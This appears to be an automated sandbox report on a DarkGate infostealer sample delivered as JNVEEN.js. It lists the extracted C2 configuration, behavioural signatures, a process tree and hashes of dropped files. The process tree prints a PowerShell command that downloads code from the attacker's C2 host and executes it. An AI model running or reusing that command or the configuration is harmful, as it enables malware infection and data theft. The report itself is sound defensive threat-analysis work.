Analysis

  • max time kernel
    84s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/11/2023, 01:19

General

  • Target
    JNVEEN.js
  • Size 237KB
  • Sample231117-bphqmscg63
  • SHA256 c788100411c38388afc3438dccc05297ac7a77083f579e4a7e8d6e1479214fde
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • darkgate

Botnet
  • A11111

C2
  • http://faststroygo.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    false

  • anti_debug

    false

  • anti_vm

    false

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    sYEvPOjQglaHah

  • internal_mutex

    txtMut

  • minimum_disk

    100

  • minimum_ram

    4096

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    A11111

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\dwm.exe
    "dwm.exe"
    1⤵
      PID:336
    • C:\Windows\system32\backgroundTaskHost.exe
      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX53ypgrj20bgndg05hj3tc7z654myszwp.mca
      1⤵
        PID:3504
      • C:\Windows\system32\wscript.exe
        wscript.exe C:\Users\Admin\AppData\Local\Temp\JNVEEN.js
        1⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:3056
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri "http://faststroygo.com:80/jsslatecqpa");
          2⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2900
          • C:\tepp\AutoIt3.exe
            "C:\tepp\AutoIt3.exe" latecqpa.au3
            3⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:1704
      • C:\Windows\system32\wbem\unsecapp.exe
        C:\Windows\system32\wbem\unsecapp.exe -Embedding
        1⤵
          PID:1328
        • C:\Windows\System32\spoolsv.exe
          C:\Windows\System32\spoolsv.exe
          1⤵
            PID:2040
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            1⤵
              PID:4008

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  __PSScriptPolicyTest_z1zc0i44.k0q.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z1zc0i44.k0q.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512

                  AutoIt3.exe

                  • Path C:\tepp\AutoIt3.exe
                  • Size 872KB
                  • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
                  • MD5 SHA1 SHA512 SSDEEP

                  AutoIt3.exe

                  • Path C:\tepp\AutoIt3.exe
                  • Size 872KB
                  • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
                  • MD5 SHA1 SHA512 SSDEEP

                  AutoIt3.exe

                  • Path C:\tepp\AutoIt3.exe
                  • Size 872KB
                  • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
                  • MD5 SHA1 SHA512 SSDEEP

                  latecqpa.au3

                  • Path C:\tepp\latecqpa.au3
                  • Size 491KB
                  • SHA256 c38255b259f5e552c33142d192afd438f824773dfcea4eb31c707ce86949464c
                  • MD5 SHA1 SHA512 SSDEEP

                  memory/1704-42-0x0000000003F00000-0x0000000004095000-memory.dmp

                  memory/1704-41-0x0000000000BA0000-0x0000000000FA0000-memory.dmp

                  memory/1704-49-0x0000000003F00000-0x0000000004095000-memory.dmp

                  memory/1704-50-0x0000000003F00000-0x0000000004095000-memory.dmp

                  memory/1704-51-0x0000000003F00000-0x0000000004095000-memory.dmp

                  memory/2900-24-0x000001FD42DF0000-0x000001FD42FB2000-memory.dmp

                  memory/2900-23-0x000001FD26670000-0x000001FD26680000-memory.dmp

                  memory/2900-22-0x000001FD26670000-0x000001FD26680000-memory.dmp

                  memory/2900-38-0x00007FFE1DF90000-0x00007FFE1EA51000-memory.dmp

                  memory/2900-21-0x000001FD26670000-0x000001FD26680000-memory.dmp

                  memory/2900-20-0x00007FFE1DF90000-0x00007FFE1EA51000-memory.dmp

                  memory/2900-12-0x000001FD28370000-0x000001FD28392000-memory.dmp